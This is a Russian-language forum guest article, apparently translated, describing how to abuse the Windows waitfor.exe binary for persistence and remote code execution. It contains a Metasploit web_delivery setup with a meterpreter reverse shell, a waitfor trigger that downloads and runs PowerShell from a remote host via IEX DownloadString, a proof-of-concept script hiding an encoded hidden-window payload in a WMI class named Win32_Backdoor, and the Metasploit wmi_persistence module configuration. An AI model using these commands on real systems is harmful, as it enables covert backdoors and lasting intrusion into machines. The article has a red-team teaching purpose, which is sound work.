• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Гостевая статья Persistence - Waitfor

Waitfor - это двоичный файл Microsoft, который обычно используется для синхронизации компьютеров по сети путем отправки сигналов. Этот механизм связи может использоваться в работе красной команды для загрузки и выполнения произвольного кода и для сохранения. Двоичный файл хранится в папке C: \ Windows \ System32, что означает, что для выполнения этой операции требуются права локального администратора, и оба хоста (отправитель и получатель) должны находиться в одном сегменте сети.

Metasploit Framework можно использовать для размещения полезной нагрузки на основе PowerShell с помощью модуля «web_delivery».

Код:
use exploit/multi/script/web_delivery
set target 5
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.13
exploit

Команда waitfor принимает несколько параметров. Параметр / s указывает IP-адрес удаленного хоста, на который будет отправлен сигнал, или может использоваться адрес обратной связи, если он выполняется локально. Параметр / si отправляет сигнал по сети, а последний компонент - это имя сигнала.

«Waitfor» необходимо выполнить на целевом хосте с именем сигнала и добавлением команды PowerShell.

Код:
waitfor /s 127.0.0.1 /si pentestlab
waitfor pentestlab && powershell IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.13:8080/pentestlaboratories');

persistence-waitfor-commands.png

WaitFor - Скачать и выполнить код

Когда сигнал будет получен на хосте, команда будет выполнена и откроется сеанс Meterpreter.


persistence-waitfor-meterpreter.png

Waitfor - Meterpreter

Проблема, когда этот метод используется для сохранения, состоит в том, что после выполнения команды запуска процесс « waitfor.exe » завершится. Для решения этой проблемы разработала сценарий PowerShell, в котором команда хранится в классе , чтобы непрерывно включать режим ожидания.

Код:
<#
    A quick POC to use Waitfor.exe to maintain persistence
    Author: 3gstudent @3gstudent
    Learn from:https://twitter.com/danielhbohannon/status/872258924078092288
#>
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()| Out-Null
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& taskkill /f /im powershell.exe ```&```& waitfor persist ```&```& powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
$StaticClass.Put() | Out-Null
 
$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec | Out-Null

После импорта модуля он выполнит команду waitfor .

Код:
Import-Module .\Waitfor-Persistence.ps1

persistence-waitfor-powershell-module.png

Persistence - модуль cheking для PowerShell

Выполнение команды триггера создаст канал связи с целевым хостом. Команду можно запустить несколько раз, поскольку « waitfor » всегда находится в режиме ожидания.

persistence-waitfor-powershell-module-meterpreter.png

WaitFor через модуль PowerShell

В Metasploit Framework также реализован этот метод хранения полезных данных внутри класса WMI и использования « waitfor » в качестве триггера.

Код:
use exploit/windows/local/wmi_persistence
set PERSISTENCE_METHOD WAITFOR
set WAITFOR_TRIGGER pentestlab
set SESSION 2
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.13
set LPORT 4444
exploit

persistence-waitfor-metasploit-module.png


После выполнения модуль установит произвольную полезную нагрузку внутри класса WMI. Он также сгенерирует команду, которую необходимо использовать, чтобы снова получить сеанс Meterpreter.

persistence-waitfor-metasploit-module-command.png


Сигнал может быть отправлен в целевую систему с другого хоста в сети с доступом к оболочке.

persistence-waitfor-metasploit-module-trigger.png

Модуль Metasploit - команда запуска

Следующий GIF демонстрирует, как двоичный файл « waitfor » может использоваться для загрузки и выполнения произвольной полезной нагрузки.

waitfor.gif

Техника в действии

WaitFor - Скачать и выполнить произвольный кодСсылки
Источник:
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!